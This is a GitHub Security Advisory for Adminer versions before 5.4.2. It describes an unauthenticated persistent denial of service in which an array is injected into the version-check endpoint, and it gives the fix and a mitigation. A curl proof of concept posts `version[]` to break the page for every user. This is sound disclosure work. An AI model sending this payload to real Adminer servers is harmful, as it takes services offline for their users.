GitHub Security Advisory: GHSA-q4f2-39gr-45jh
Package: vrana/adminer (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: >= 4.6.2, < 5.4.2
Patched in: 5.4.2

Summary: Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint

Details:
### Summary
Adminer v5.4.1 has a version check mechanism where `adminer.org` sends signed version info via JavaScript postMessage, which the browser then POSTs to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, `openssl_verify()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users.

### Fix

Upgrade to Adminer 5.4.2.

**Mitigation** (if you can't upgrade): Make file `adminer.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server.

### Details

**1. Intended design of `?script=version`:**

The endpoint is designed to receive version data from `adminer.org` via browser JavaScript:
- `functions.js` line 102-117: Creates iframe to `https://www.adminer.org/version/`
- Adminer.org sends signed version data via `postMessage`
- JavaScript POSTs this to `?script=version`
- Server stores in `/tmp/adminer.version` for signature verification

```javascript
// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);
```

**2. The vulnerability:**

The endpoint only checks `$_GET["script"] == "version"` - it does not validate:
- Request origin (no CSRF token check for this endpoint)
- Request source (any HTTP client can POST)
- Parameter types (`version` expected as string, array not rejected)

```php
// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}
```

**3. Type confusion crash:**

When POST contains `version[]` instead of `version`, PHP creates an array. When Adminer reads this file and passes to `openssl_verify()`:

```php
// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {
```

PHP 8.x throws:
```
TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given
```

### PoC

**Steps to Reproduce:**

**Step 1:** Verify Adminer is running and accessible.
```bash
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php
```
Expected output:
```
200
```

**Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string.
```bash
curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"
```
Expected output: Empty response (no error).

**Step 3:** Access Adminer again to trigger the crash.
```bash
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php
```
Expected output:
```
500
```

**Step 4:** (Optional) View the PHP error in server logs.